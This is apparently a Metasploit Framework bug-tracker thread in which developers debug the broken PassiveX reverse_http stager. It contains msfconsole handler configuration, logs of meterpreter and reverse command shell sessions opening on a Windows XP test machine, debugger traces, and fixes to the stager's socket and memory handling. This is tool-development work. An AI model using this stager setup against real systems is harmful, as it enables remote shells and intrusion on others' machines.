Metasploit Framework

The polarssl changes broke passivex:

# svn -r 6717 update
<snipped>
Updated to revision 6717.
# ./msfconsole

                _                  _       _ _
               | |                | |     (_) |
 _ + +_   +_| |_ + _ +_ _ + | | +_  _| |_
| '_ @ _ \ / _ \ +/ _@ / +| '_ \| |/ _ \| | +|
| | | | | |  +/ || (_| \+ \ |_) | | (_) | | |_
|_| |_| |_|\+_|\+\+,_|+_/ .+/|_|\+_/|_|\+|
                            | |
                            |_|

       =[ msf v3.3-dev
+ -- --=[ 381 exploits - 231 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 156 aux

msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/reflectivemeterpreter/reverse_http):

   Name       Current Setting                                          Required  Description
   ----       ---------------                                          --------  -----------
   EXITFUNC   thread                                                   yes       Exit technique: seh, thread, process
   PXAXCLSID  B3AC7307-FEAE-4e43-B2D6-161E68ABA838                     yes       ActiveX CLSID
   PXAXDLL    /pentest/exploits/framework3/data/passivex/passivex.dll  yes       ActiveX DLL to inject
   PXAXVER    -1,-1,-1,-1                                              yes       ActiveX DLL Version
   PXHOST     192.168.91.138                                           yes       The local HTTP listener hostname
   PXPORT     8080                                                     yes       The local HTTP listener port
   PXURI      /test                                                    no        The URI root for requests

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...
[*] Sending PassiveX main page to client
[*] Sending PassiveX DLL (143360 bytes)
^C[-] Exploit failed:
[*] PassiveX listener stopped.
[*] Exploit completed, but no session was created.
msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...
[*] Sending PassiveX main page to client
[*] Sending PassiveX DLL (143360 bytes)
[*] Sending stage to sid 1 (75776 bytes)
[*] Sending PassiveX main page to client
[*] Meterpreter session 1 opened (Local Pipe -> Remote Pipe)

meterpreter >
[*] Sending stage to sid 2 (75776 bytes)
[*] Meterpreter session 2 opened (Local Pipe -> Remote Pipe)

meterpreter > sessions
[-] Unknown command: sessions.
meterpreter > getpid
Current pid: 5636
meterpreter >

Ugh, sorry that was so ugly. Can't seem to delete or edit it, though...

The polarssl changes broke passivex:

# svn -r 6717 update
<snipped>
Updated to revision 6717.
# ./msfconsole

                _                  _       _ _
               | |                | |     (_) |
 _ + +_   +_| |_ + _ +_ _ + | | +_  _| |_
| '_ @ _ \ / _ \ +/ _@ / +| '_ \| |/ _ \| | +|
| | | | | |  +/ || (_| \+ \ |_) | | (_) | | |_
|_| |_| |_|\+_|\+\+,_|+_/ .+/|_|\+_/|_|\+|
                            | |
                            |_|

       =[ msf v3.3-dev
+ -- --=[ 381 exploits - 231 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 156 aux

msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/reflectivemeterpreter/reverse_http):

   Name       Current Setting                                          Required  Description
   ----       ---------------                                          --------  -----------
   EXITFUNC   thread                                                   yes       Exit technique: seh, thread, process
   PXAXCLSID  B3AC7307-FEAE-4e43-B2D6-161E68ABA838                     yes       ActiveX CLSID
   PXAXDLL    /pentest/exploits/framework3/data/passivex/passivex.dll  yes       ActiveX DLL to inject
   PXAXVER    -1,-1,-1,-1                                              yes       ActiveX DLL Version
   PXHOST     192.168.91.138                                           yes       The local HTTP listener hostname
   PXPORT     8080                                                     yes       The local HTTP listener port
   PXURI      /test                                                    no        The URI root for requests

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...
[*] Sending PassiveX main page to client
[*] Sending PassiveX DLL (143360 bytes)
^C[-] Exploit failed:
[*] PassiveX listener stopped.
[*] Exploit completed, but no session was created.
msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...
[*] Sending PassiveX main page to client
[*] Sending PassiveX DLL (143360 bytes)
[*] Sending stage to sid 1 (75776 bytes)
[*] Sending PassiveX main page to client
[*] Meterpreter session 1 opened (Local Pipe -> Remote Pipe)

meterpreter >
[*] Sending stage to sid 2 (75776 bytes)
[*] Meterpreter session 2 opened (Local Pipe -> Remote Pipe)

meterpreter > sessions
[-] Unknown command: sessions.
meterpreter > getpid
Current pid: 5636
meterpreter >

Looks like even the basic shell is broken with PassiveX, I think the issue is somewhere else and this is not related to meterpreter.

msf exploit(handler) > rexploit 

[*] PassiveX listener started.
[*] Starting the payload handler...
[*] Sending PassiveX main page to client
[*] Sending PassiveX main page to client
[*] Command shell session 1 opened (Local Pipe -> Remote Pipe)
[*] Sending stage to sid 2 (240 bytes)

*** HANGS ***

On the remote end, the debugger shows:

ModLoad: 10000000 10024000   C:\WINDOWS\Downloaded Program Files\passivex.dll
ModLoad: 5edd0000 5ede7000   C:\WINDOWS\system32\OLEPRO32.DLL
ModLoad: 75c50000 75ccd000   C:\WINDOWS\System32\jscript.dll
ModLoad: 60280000 602a1000   C:\WINDOWS\System32\wshom.ocx
ModLoad: 71b20000 71b32000   C:\WINDOWS\system32\MPR.dll
ModLoad: 735a0000 735ca000   C:\WINDOWS\System32\ScrRun.dll
(7e8.548): Access violation - code c0000005 (!!! second chance !!!)
eax=00000020 ebx=735a2538 ecx=00000000 edx=00000000 esi=00251ec9 edi=304a25ed
eip=01ce3b83 esp=01e0ff24 ebp=01e0ff2c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
01ce3b83 8b423c          mov     eax,dword ptr [edx+3Ch] ds:0023:0000003c=????????

The DLL is loading, but somehow the staged code is failing.

Make consistent with other "broken feature" bugs

Haven't narrowed down exactly which piece broke it, but r6318 is definitely the culprit. Works on r6317.

James Lee wrote:

Haven't narrowed down exactly which piece broke it, but r6318 is definitely the culprit. Works on r6317.

natron fixed it in r6514 but it looks like it broke again in r6922. Still digging...

Monday morning RC1

We may want to temporarily disable these for the RC1 release

Ok, I'm not going to figure this out tonight. There is something weird going on with the stages. In r6921 with the old shell stage, everything works as expected. In r6922 with the new shell stage, the stage gets executed and everything looks like it's going fine except the cmd.exe process exits right away. No idea what's going on with meterpreter, but the stages are definitely executing.

Thats actually pretty similar to the behavior I am seeing with the new stager I was working on - the stages exec, but hang or exit afterwards. Maybe something about the new stages/api doesnt play nice with iexplorer/wininet? CCing Stephen for his input. Maybe the hash lookup breaks on one of the IE/WinInet specific functions?

I'll start digging into this first thing tomorrow morning (away this afternoon).

I committed r7448 which resolves the null pointer dereference that HD mentions above (in note 6). The problem was the old exit funk values were being used instead of the new ones so the stage was trying to locate an API via the new hashing algorithm using the old exit funk value which is generated using a different algorithm). This resulted in no API being found and a null pointer dereference occurring as a result.

PassiveX is still broken though (I left the PassiveX stager disabled for now), the stage (windows/shell/reverse_http in my testing on an XPSP2/IE7 box) is getting executed, the cmd.exe process is being created but it (cmd.exe) terminates itself. The call stack of cmd.exe terminating itself is given below:

0013fc68 7c90e89a ntdll!KiFastSystemCallRet
0013fc6c 7c81ca5e ntdll!ZwTerminateProcess+0xc
0013fd68 7c81cab6 kernel32!_ExitProcess+0x62
0013fd7c 77c39d45 kernel32!ExitProcess+0x14
0013fd88 77c39e78 msvcrt!__crtExitProcess+0x32
0013fd98 77c39e90 msvcrt!_cinit+0xee
0013fdac 4ad04110 msvcrt!exit+0x12
0013fdb8 4ad17093 cmd!CMDexit+0x19
0013fe10 4ad0608c cmd!PutMsg+0x1f5
0013fe2c 4ad176bc cmd!PutStdErr+0x1d
0013fe4c 4ad05e3c cmd!CmdPutChars+0xa3
0013fe60 4ad0e0d3 cmd!cmd_printf+0x30
0013fee4 4ad04052 cmd!Init+0x1ed
0013ff44 4ad05164 cmd!main+0x63
0013ffc0 7c816d4f cmd!mainCRTStartup+0x125
0013fff0 00000000 kernel32!BaseProcessStart+0x23

This would indicate that something might be wrong with the handle passed in via EDI. This could be something wrong on the ruby side, maybe PxSessionChannel, or maybe something wrong on the stages asm side (however the stages work using reverse_tcp or bind_tcp).

I also noted that the buffer that the passivex.dll reads the second stage into is only RW and not RWX. Not sure is this is an issue but its an easy fix:

Add the line

VirtualProtect( (LPVOID)SecondStage, SecondStageSize, PAGE_EXECUTE_READWRITE, &dwOldProtect )

to HttpTunnel::DownloadSecondStage() in HttpTunnel.cpp

Thanks Stephen! The EDI handle should be easy to debug at least (prepend => \xcc)

Narrowed this down further and got a windows/shell/reverse_http working on XPPS2/IE7:

[*] PassiveX listener started.
[*] Sending 483 byte payload...[0] 
[*] Sending PassiveX main page to client
[*] Command shell session 2 opened (Local Pipe -> Remote Pipe)
[*] Sending stage to sid 1 (240 bytes)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin\Desktop>

The problem lies in passivex.dll creating the LocalTcpClientSide socket with socket() and not WSASocket() in HttpTunnel::InitializeLocalConnection(). AFAIK sockets created with socket() can't be directly inherited by child processes unlike sockets created with WSASocket(). This what the updated stager expects.

However while the shell stage now works, the meterpreter stage still does not.

I will clean up the C code and commit it later tonight/early tomorrow.

Committed r7461 with an updated passivex.dll which now uses WSASocketA for the LocalTcpClientSide socket and works with the shell stage (Tested on XPSP2/IE7). Meterpreter is still not working though, might be an issue with the meterpreters ssl connection, I verified the meterpreter dll was loaded correctly but no session was established.

Narrowed the meterpreter failure to the call to "SSL_connect(remote->ssl)" int negotiate_ssl() in the file server_setup.c. The call to SSL_connect is made but it never returns.

A Wireshark capture is attached, showing the PassiveX side issuing a POST tunnel_in request and then nothing else happens.

On the MSF ruby side I have narrowed the meterpreter problem down to swap_sock_plain_to_ssl() as shown below:

  # \msf3\lib\rex\post\meterpreter\client.rb

  def swap_sock_plain_to_ssl

    # Create a new SSL session on the existing socket
    ctx = generate_ssl_context()
    ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)

    ssl.accept # <------ we never return from this call to ssl.accept

Seems like the passivex tunnel wont support accepting the ssl connection from the meterpreter (even though metsrv.dll calls SSL_connect). Perhaps the issue then lies in PxSessionChannel not being (currently) compatible with openssl, anybody any ideas?

Nothing obvious from looking through it - lets punt on this for 3.3 and re-enable in 3.4-dev once we sort it out. Moving this issue to 3.4 and adding a release-note/disable-me ticket.